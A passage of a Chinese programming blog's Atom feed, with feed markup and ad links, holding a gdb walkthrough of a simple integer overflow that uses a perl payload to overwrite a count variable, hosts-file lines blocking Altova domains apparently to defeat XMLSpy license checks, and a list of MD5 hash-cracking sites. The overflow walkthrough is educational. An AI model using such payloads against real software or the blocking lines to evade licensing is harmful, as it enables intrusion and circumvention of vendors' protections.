&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;breakpoint already hit 1 time&lt;br /&gt;
3 &amp;nbsp; &amp;nbsp; &amp;nbsp; breakpoint &amp;nbsp; &amp;nbsp; keep y &amp;nbsp; 0x08048491 in main at integer.c:31&lt;br /&gt;
(gdb) run -2147483632 $(perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"')&lt;br /&gt;
The program being debugged has been started already.&lt;br /&gt;
Start it from the beginning? (y or n) y&lt;br /&gt;
&lt;br /&gt;
Starting program: /test/q9 -2147483632 $(perl -e 'print "A"x40&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; . "\x46\x4c\x4f\x57"')&lt;br /&gt;
&lt;br /&gt;
Breakpoint 3, 0x08048491 in main (argc=3, argv=0xbffff1c4) at integer.c:31&lt;br /&gt;
31&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;memcpy(buf, argv[2], count * sizeof(int));&lt;br /&gt;
(gdb)&lt;br /&gt;
(gdb) p $esp&lt;br /&gt;
$3 = (void *) 0xbffff0d0&lt;br /&gt;
(gdb) x/4xw 0xbffff0d0&lt;br /&gt;
0xbffff0d0:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xbffff0e4&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xbffff3a0&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000040&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0804831c&lt;br /&gt;
(gdb)&lt;br /&gt;
&lt;br /&gt;
溢出后进程空间布局&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|----------------------------|.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; 0x08048496 (Ret)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;|---------------------------|.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;| 0xbffff0e4(buf) &amp;nbsp; &amp;nbsp; | &amp;lt;------ esp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (0xbffff0d0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;|---------------------------|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; 0xbffff3a0(argv[2])&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esp+4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;|---------------------------|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; 0x00000040&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esp+8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;|---------------------------|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;..................&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;|---------------------------|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;"A"x40&amp;nbsp; (buf)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esp+0x14 (0xbffff0e4)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;|---------------------------|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;0x574f4c46(count)&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; esp+0x3c (0xbffff10c)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;|---------------------------|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
buf 地址0xbffff0e4, count 地址 0xbffff10c&lt;br /&gt;
&lt;br /&gt;
计算出距离为40&lt;br /&gt;
(gdb) print 0xbffff10c - 0xbffff0e4&lt;br /&gt;
$12 = 40&lt;br /&gt;
&lt;br /&gt;
这里还有一个little endian 还是 big endian的问题， 这将影响0x574f4c46 的顺序&lt;br /&gt;
ubuntu linux, intel 32 位， 使用的little endian，应此最后构造的数据是&lt;br /&gt;
&lt;br /&gt;
$ perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"'&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-5400936865928971688?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/X-YoKQ2caEzmV180PGvhv1DkIsY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X-YoKQ2caEzmV180PGvhv1DkIsY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/X-YoKQ2caEzmV180PGvhv1DkIsY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X-YoKQ2caEzmV180PGvhv1DkIsY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/zy1ks-qiHAw" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=5400936865928971688" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/5400936865928971688?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/5400936865928971688?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/zy1ks-qiHAw/blog-post.html" title="简单整型溢出分析" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/09/blog-post.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EHSXo6eCp7ImA9WhdRGUU.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-268044441170605628</id><published>2011-08-10T06:07:00.001-07:00</published><updated>2011-08-10T06:07:18.410-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-10T06:07:18.410-07:00</app:edited><title>Xmlspy 必须屏蔽的网站</title><content type="html">&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; color: #370c0c; font-family: 'Microsoft Yahei', Arial, Verdana, SimSun, sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 22px; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;127.0.0.0 altova.com #XMLspy&lt;br /&gt;
127.0.0.0 www.altova.com #XMLspy&lt;br /&gt;
127.0.0.0 link.altova.com #XMLspy&lt;br /&gt;
127.0.0.0 link.altova.com #XMLspy&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-268044441170605628?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EHng_su8sGr7nnSUYy8m0UHKHUk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EHng_su8sGr7nnSUYy8m0UHKHUk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EHng_su8sGr7nnSUYy8m0UHKHUk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EHng_su8sGr7nnSUYy8m0UHKHUk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/8H_Pp1EXups" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=268044441170605628" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/268044441170605628?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/268044441170605628?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/8H_Pp1EXups/xmlspy.html" title="Xmlspy 必须屏蔽的网站" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/08/xmlspy.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EMQHk4fyp7ImA9WhdRGUU.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-4772321273568893410</id><published>2011-08-09T19:01:00.000-07:00</published><updated>2011-08-10T06:08:01.737-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-10T06:08:01.737-07:00</app:edited><title>Biggest MD5 crack databases</title><content type="html">&lt;div style="color: black;"&gt;&lt;span class="Apple-style-span" style="background-color: #252422; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;table style="margin: 0px; padding: 0px;"&gt;&lt;tbody style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;
&lt;tr style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;td style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="float: right; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: top; width: auto;"&gt;&lt;span class="smalltext" style="font-size: 11px; margin: 0px; padding: 0px;"&gt;&lt;b style="font-weight: bold; margin: 0px; padding: 0px;"&gt;Post:&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.googlebig.com/forum/biggest-md5-crack-databases-t-68.html#pid324" rel="nofollow" style="margin: 0px; padding: 0px; text-decoration: none;"&gt;#1&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="smalltext" style="font-size: 11px; margin: 0px; padding: 0px;"&gt;&lt;b style="font-weight: bold; margin: 0px; padding: 0px;"&gt;Biggest MD5 crack databases&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;div id="pid_324" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;-----------------------------------------------------------------&lt;br /&gt;
MOST BIGGEST SITE OF MD5 DECRYPING&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.hash-cracker.com/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.hash-cracker.com&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(40,000,000)&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.cmd5.com/english.aspx" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.cmd5.com/english.aspx&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(457,354,352,282)&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.md5crack.com/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.md5crack.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /&gt;&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.hashchecker.com/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.hashchecker.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://md5cracker.tk/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://md5cracker.tk/&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(MD5 Search engine by searches a total of 14 on-line crackers.)&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.md5decrypter.com/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.md5decrypter.com&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(5,889,729)&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://md5.rednoize.com/" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://md5.rednoize.com&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(56,502,235)&lt;br /&gt;
&lt;br /&gt;
-&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.tmto.org/?category=main&amp;amp;page=search_md5" style="margin: 0px; padding: 0px; text-decoration: none;" target="_blank"&gt;http://www.tmto.org/?category=main&amp;amp;page=search_md5&lt;/a&gt;&lt;span class="Apple-converted-space"&gt;&amp;nbsp;&lt;/span&gt;(306.000.000.000)&lt;br /&gt;
&lt;br /&gt;
